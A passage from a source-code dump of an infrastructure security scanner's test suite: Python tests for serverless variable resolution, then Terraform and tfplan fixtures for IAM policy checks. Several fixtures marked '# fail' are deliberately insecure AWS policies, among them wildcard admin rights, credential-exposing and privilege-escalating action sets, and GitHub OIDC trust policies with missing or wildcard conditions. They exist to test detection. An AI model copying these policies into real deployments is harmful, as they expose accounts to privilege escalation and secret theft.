process_variables(case, IRRELEVANT_DIR) # Undefined which will be picked, but won't be fully resolved self.assertTrue(result["custom"]["thing1"].startswith("${self:custom.thing")) self.assertTrue(result["custom"]["thing2"].startswith("${self:custom.thing")) def test_self_reference(self): case = { "me": "${self:me}" } expected = { "me": "${self:me}" } # Should just finish, no hang, no changes self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_nested(self): case = { "second-value": "final", "first-value": "second", "consumer": "${self:${self:first-value}-value}" } expected = { "second-value": "final", "first-value": "second", "consumer": "final" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_overwriting_variables(self): case = { "fallback": "final", "value": "${self:doesnt-exist, self:fallback}" } expected = { "fallback": "final", "value": "final" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_custom_variable_syntax(self): case = { "provider": { "variableSyntax": "\\${{([ ~:a-zA-Z0-9._@\\'\",\\-\\/\\(\\)]+?)}}" }, "custom": { "consumer": "${{self: custom.source}}", "source": "final" } } expected = { # NOTE: variableSyntax entry is removed to prevent self-matching "provider": {}, "custom": { "consumer": "final", "source": "final" } } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_deep_var_override(self): case = { "custom": { "val1": "${self:not.a.value, 'bar'}", "val2": "${self:custom.val1}" } } expected = { "custom": { "val1": "bar", "val2": "bar" } } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_deep_references_into_deep_vars(self): case = { "custom": { "val0": { "foo": "bar" }, "val1": '${self:custom.val0}', "val2": '${self:custom.val1.foo}', } } expected = { "custom": { "val0": { "foo": 'bar', }, "val1": { "foo": 'bar', }, "val2": 'bar', } } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_quoted_vars(self): case = { "consumer": "${self: custom.bogus, \"value, with, commas\"}", } expected = { "consumer": "value, with, commas" } self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR)) def test_tokenize_by_commas(self): self.assertEqual(["single"], _tokenize_by_commas("single")) self.assertEqual(["one", "two"], _tokenize_by_commas("one,two")) self.assertEqual(["one", "two"], _tokenize_by_commas("one, two")) # Double quotes self.assertEqual(["separate", "commas, in, value", "another"], _tokenize_by_commas("separate, \"commas, in, value\", another")) self.assertEqual(["commas, in, value", "another"], _tokenize_by_commas("\"commas, in, value\", another")) self.assertEqual(["separate", "commas, in, value"], _tokenize_by_commas("separate, \"commas, in, value\"")) # Single quotes self.assertEqual(["separate", "commas, in, value", "another"], _tokenize_by_commas("separate, 'commas, in, value', another")) self.assertEqual(["commas, in, value", "another"], _tokenize_by_commas("'commas, in, value', another")) self.assertEqual(["separate", "commas, in, value"], _tokenize_by_commas("separate, 'commas, in, value'")) def test_token_to_type_and_loc(self): self.assertEqual(("self", "foo"), _token_to_type_and_loc("self:foo")) self.assertEqual(("self", "foo"), _token_to_type_and_loc("self: foo")) self.assertEqual(("something_made_up", "bar"), _token_to_type_and_loc("something_made_up:bar")) self.assertEqual(("file(~/settings.yaml)", "foo"), _token_to_type_and_loc("file(~/settings.yaml):foo")) self.assertEqual(("file(~/settings.yaml)", None), _token_to_type_and_loc("file(~/settings.yaml)")) def test_parse_var(self): self.assertEqual(("self", "foo", "self", "bar"), _parse_var("self:foo,self:bar")) self.assertEqual(("self", "foo", None, "bar"), _parse_var("self:foo,bar")) self.assertEqual(("file(settings.yaml)", "foo", "self", "bar"), _parse_var("file(settings.yaml):foo,self:bar")) self.assertEqual(("file(settings.yaml)", "foo", None, None), _parse_var("file(settings.yaml):foo")) self.assertEqual(("file(settings.yaml)", None, None, None), _parse_var("file(settings.yaml)")) self.assertEqual(("self", "foo", None, None), _parse_var("self: foo")) # eat whitespace if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/test_scanner_registry.py ================================================ import unittest from checkov.serverless.registry import sls_registry class TestScannerRegistry(unittest.TestCase): def test_num_of_scanners(self): scanners_counter = 0 for key in list(sls_registry.checks.keys()): scanners_counter += len(sls_registry.checks[key]) self.assertGreater(scanners_counter, 1) def test_non_colliding_check_ids(self): check_id_check_class_map = {} for (resource_type, checks) in sls_registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/data/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/data/aws/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/data/aws/example_AdminPolicyDocument/main.tf ================================================ # pass data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:Describe*", ] resources = [ "*", ] } } data "aws_iam_policy_document" "list" { version = "2012-10-17" statement = [{ actions = [ "s3:GetObject" ] resources = [ "${aws_s3_bucket.default.arn}/*" ] principals { type = "AWS" identifiers = ["*"] } }] # Support replication ARNs statement = ["${flatten(data.aws_iam_policy_document.replication.*.statement)}"] # Support deployment ARNs statement = ["${flatten(data.aws_iam_policy_document.deployment.*.statement)}"] } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "*" ] resources = [ "*", ] } } data "aws_iam_policy_document" "no_effect" { version = "2012-10-17" statement { actions = [ "*" ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_CloudSplainingCredentialsExposure/main.tf ================================================ # pass data "aws_iam_policy_document" "allowed_action" { version = "2012-10-17" statement { effect = "Allow" actions = [ "ecr:GetAuthorizationToken", ] resources = [ "*", ] } } data "aws_iam_policy_document" "deny" { version = "2012-10-17" statement { sid = "DenyOutsideCallers" effect = "Deny" actions = ["*"] resources = ["*"] condition { test = "NotIpAddress" variable = "aws:SourceIp" values = [ "1.2.3.4/16" ] } condition { test = "Bool" variable = "aws:ViaAWSService" values = ["false"] } } } data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", ] resources = [ "*", ] } } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:GetObject", "iam:CreateAccessKey" ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_CloudSplainingDataExfiltration/main.tf ================================================ # pass data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", ] resources = [ "*", ] } } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "iam:PassRole", "ssm:GetParameter", "s3:GetObject", "ssm:GetParameter", "ssm:GetParameters", "ssm:GetParametersByPath", "secretsmanager:GetSecretValue", "s3:PutObject", "ec2:CreateTags" ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_CloudSplainingPrivilegeEscalation/main.tf ================================================ # pass data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", ] resources = [ "*", ] } } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "iam:PassRole", "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", "dynamodb:PutItem", ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_CloudsplainingIAMWrite/main.tf ================================================ # pass data "aws_iam_policy_document" "restrictable" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:*", ] resources = [ "arn:aws:s3:::bucket", ] } } data "aws_iam_policy_document" "unrestrictable" { version = "2012-10-17" statement { effect = "Allow" actions = [ "xray:PutTelemetryRecords", "xray:PutTraceSegments", ] resources = [ "*", ] } } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:*", ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_CloudsplainingPermissionsManagement/main.tf ================================================ # pass data "aws_iam_policy_document" "pass" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:*" ] resources = [ "arn:aws:s3:::example", ] } } # fail data "aws_iam_policy_document" "fail" { version = "2012-10-17" statement { effect = "Allow" actions = [ "iam:*" ] resources = [ "*", ] } } # unknown ================================================ FILE: tests/terraform/checks/data/aws/example_GithubActionsOIDCTrustPolicy/main.tf ================================================ data "aws_iam_policy_document" "pass_aud_first" { statement { effect = "Allow" actions = ["sts:AssumeRoleWithWebIdentity"] principals { type = "Federated" identifiers = ["arn:aws:iam::000000000000:oidc-provider/token.actions.githubusercontent.com"] } condition { test = "StringEquals" values = ["sts.pass_aud_first.com"] variable = "token.actions.githubusercontent.com:aud" } condition { test = "StringLike" values = ["repo:org/our-repo-name:*"] variable = "token.actions.githubusercontent.com:sub" } } } # pass1 data "aws_iam_policy_document" "pass1" { version = "2012-10-17" statement { effect = "Allow" actions = [ "lambda:CreateFunction", "lambda:CreateEventSourceMapping", "dynamodb:CreateTable", ] resources = [ "*", ] } } # pass2 data "aws_iam_policy_document" "pass2" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringLike" values = ["repo:myOrg/myRepo:*"] variable = "token.actions.githubusercontent.com:sub" } condition { test = "StringEquals" values = ["sts.amazonaws.com"] variable = "token.actions.githubusercontent.com:aud" } } } # pass 3 data "aws_iam_policy_document" "pass3" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["repo:myOrg/myRepo:ref:refs/heads/MyBranch"] variable = "token.actions.githubusercontent.com:sub" } condition { test = "StringEquals" values = ["sts.amazonaws.com"] variable = "token.actions.githubusercontent.com:aud" } } } data "aws_iam_policy_document" "fail1" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } } } data "aws_iam_policy_document" "fail2" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["invalid"] variable = "token.actions.githubusercontent.com:sub" } } } # fail for wildcard as condition data "aws_iam_policy_document" "fail-wildcard" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["*"] variable = "token.actions.githubusercontent.com:sub" } } } # fail for abusable value as condition data "aws_iam_policy_document" "fail-abusable" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["workflow:github-actions:repo:myOrg/myRepo:ref:refs/heads/MyBranch"] variable = "token.actions.githubusercontent.com:sub" } } } # fail for condition that asserts wildcard data "aws_iam_policy_document" "fail-wildcard-assertion" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["repo:*"] variable = "token.actions.githubusercontent.com:sub" } } } # fail for misused "repo" condition data "aws_iam_policy_document" "fail-misused-repo" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["repo:myOrg*"] variable = "token.actions.githubusercontent.com:sub" } } } # pass for org only "repo" condition data "aws_iam_policy_document" "pass-org-only" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["repo:myOrg/*"] variable = "token.actions.githubusercontent.com:sub" } } } #pass github org data "aws_iam_policy_document" "pass-gh-org" { version = "2012-10-17" statement { effect = "Allow" action = [ "sts:AssumeRoleWithWebIdentity" ] principals { identifiers = ["arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"] type = "Federated" } condition { test = "StringEquals" values = ["repo:myOrg/myRepo:ref:refs/heads/MyBranch"] variable = "token.actions.githubusercontent.com/github-org:sub" } condition { test = "StringEquals" values = ["sts.amazonaws.com"] variable = "token.actions.githubusercontent.com:aud" } } } ================================================ FILE: tests/terraform/checks/data/aws/example_GithubActionsOIDCTrustPolicy/tfplan.json ================================================ { "format_version": "1.2", "terraform_version": "1.5.7", "planned_values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.poc.aws_iam_openid_connect_provider.r5", "mode": "managed", "type": "aws_iam_openid_connect_provider", "name": "r5", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "client_id_list": [ "sts.amazonaws.com" ], "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" }, "thumbprint_list": [ "123" ], "url": "https://accounts.google.com" }, "sensitive_values": { "client_id_list": [ false ], "tags_all": {}, "thumbprint_list": [ false ] } }, { "address": "module.poc.aws_iam_role.r6[\"p1\"]", "mode": "managed", "type": "aws_iam_role", "name": "r6", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p1/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r8", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "sensitive_values": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } }, { "address": "module.poc.aws_iam_role.r6[\"p2\"]", "mode": "managed", "type": "aws_iam_role", "name": "r6", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p2/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r9", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "sensitive_values": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } }, { "address": "module.poc.aws_iam_role.r1[\"p1\"]", "mode": "managed", "type": "aws_iam_role", "name": "r1", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p1/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r7", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "sensitive_values": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } }, { "address": "module.poc.aws_iam_role.r1[\"p2\"]", "mode": "managed", "type": "aws_iam_role", "name": "r1", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p2/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r2", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "sensitive_values": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } }, { "address": "module.poc.data.aws_iam_policy_document.r4[\"p1\"]", "mode": "data", "type": "aws_iam_policy_document", "name": "r4", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p1:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "cognito-identity.amazonaws.com" ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "sensitive_values": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, { "address": "module.poc.data.aws_iam_policy_document.r4[\"p2\"]", "mode": "data", "type": "aws_iam_policy_document", "name": "r4", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p2:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "cognito-identity.amazonaws.com" ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "sensitive_values": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, { "address": "module.poc.data.aws_iam_policy_document.r3[\"p1\"]", "mode": "data", "type": "aws_iam_policy_document", "name": "r3", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p1:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ null ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "sensitive_values": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, { "address": "module.poc.data.aws_iam_policy_document.r3[\"p2\"]", "mode": "data", "type": "aws_iam_policy_document", "name": "r3", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p2:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ null ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "sensitive_values": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } } ], "address": "module.poc" } ] } }, "resource_changes": [ { "address": "module.poc.data.aws_iam_policy_document.r4[\"p1\"]", "module_address": "module.poc", "mode": "data", "type": "aws_iam_policy_document", "name": "r4", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p1:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "cognito-identity.amazonaws.com" ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "after_unknown": { "id": true, "json": true, "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] }, "before_sensitive": false, "after_sensitive": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, "action_reason": "read_because_dependency_pending" }, { "address": "module.poc.data.aws_iam_policy_document.r4[\"p2\"]", "module_address": "module.poc", "mode": "data", "type": "aws_iam_policy_document", "name": "r4", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p2:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "cognito-identity.amazonaws.com" ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "after_unknown": { "id": true, "json": true, "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] }, "before_sensitive": false, "after_sensitive": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, "action_reason": "read_because_dependency_pending" }, { "address": "module.poc.data.aws_iam_policy_document.r3[\"p1\"]", "module_address": "module.poc", "mode": "data", "type": "aws_iam_policy_document", "name": "r3", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p1:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ null ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "after_unknown": { "id": true, "json": true, "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ true ] } ] } ] }, "before_sensitive": false, "after_sensitive": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, "action_reason": "read_because_config_unknown" }, { "address": "module.poc.data.aws_iam_policy_document.r3[\"p2\"]", "module_address": "module.poc", "mode": "data", "type": "aws_iam_policy_document", "name": "r3", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "sts:AssumeRoleWithWebIdentity" ], "condition": [ { "test": "StringEquals", "values": [ "sts.amazonaws.com" ], "variable": "accounts.google.com:aud" }, { "test": "StringEquals", "values": [ "system:serviceaccount:p2:default" ], "variable": "accounts.google.com:sub" } ], "effect": "Allow", "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ null ], "type": "Federated" } ], "resources": null, "sid": null } ], "version": null }, "after_unknown": { "id": true, "json": true, "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ true ] } ] } ] }, "before_sensitive": false, "after_sensitive": { "statement": [ { "actions": [ false ], "condition": [ { "values": [ false ] }, { "values": [ false ] } ], "not_principals": [], "principals": [ { "identifiers": [ false ] } ] } ] } }, "action_reason": "read_because_config_unknown" }, { "address": "module.poc.aws_iam_openid_connect_provider.r5", "module_address": "module.poc", "mode": "managed", "type": "aws_iam_openid_connect_provider", "name": "r5", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "client_id_list": [ "sts.amazonaws.com" ], "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" }, "thumbprint_list": [ "cf23df2207d99a74fbe169e3eba035e633b65d94" ], "url": "https://accounts.google.com" }, "after_unknown": { "arn": true, "client_id_list": [ false ], "id": true, "tags_all": {}, "thumbprint_list": [ false ] }, "before_sensitive": false, "after_sensitive": { "client_id_list": [ false ], "tags_all": {}, "thumbprint_list": [ false ] } } }, { "address": "module.poc.aws_iam_role.r6[\"p1\"]", "module_address": "module.poc", "mode": "managed", "type": "aws_iam_role", "name": "r6", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p1/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r8", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "after_unknown": { "arn": true, "assume_role_policy": true, "create_date": true, "id": true, "inline_policy": [ {} ], "managed_policy_arns": true, "name_prefix": true, "tags_all": {}, "unique_id": true }, "before_sensitive": false, "after_sensitive": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } } }, { "address": "module.poc.aws_iam_role.r6[\"p2\"]", "module_address": "module.poc", "mode": "managed", "type": "aws_iam_role", "name": "r6", "index": "p2", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p2/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r9", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "after_unknown": { "arn": true, "assume_role_policy": true, "create_date": true, "id": true, "inline_policy": [ {} ], "managed_policy_arns": true, "name_prefix": true, "tags_all": {}, "unique_id": true }, "before_sensitive": false, "after_sensitive": { "inline_policy": [ {} ], "managed_policy_arns": [], "tags_all": {} } } }, { "address": "module.poc.aws_iam_role.r1[\"p1\"]", "module_address": "module.poc", "mode": "managed", "type": "aws_iam_role", "name": "r1", "index": "p1", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "force_detach_policies": true, "inline_policy": [ { "name": "eks_s3_access", "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Action\":[\"s3:ListBucket\"],\"Condition\":{\"StringLike\":{\"s3:prefix\":[\"p1/*\"]}},\"Effect\":\"Allow\",\"Resource\":[\"arn:aws:s3:::\"],\"Sid\":\"AllowListingOfUserFolder\"}]}" } ], "max_session_duration": 3600, "name": "r7", "path": "/", "permissions_boundary": null, "tags": null, "tags_all": { "checkov_uid": "CKV_AWS_358", "environment": "test", "managed_by": "terraform" } }, "after_unknown": { "arn": true, "assume_role_policy": true, 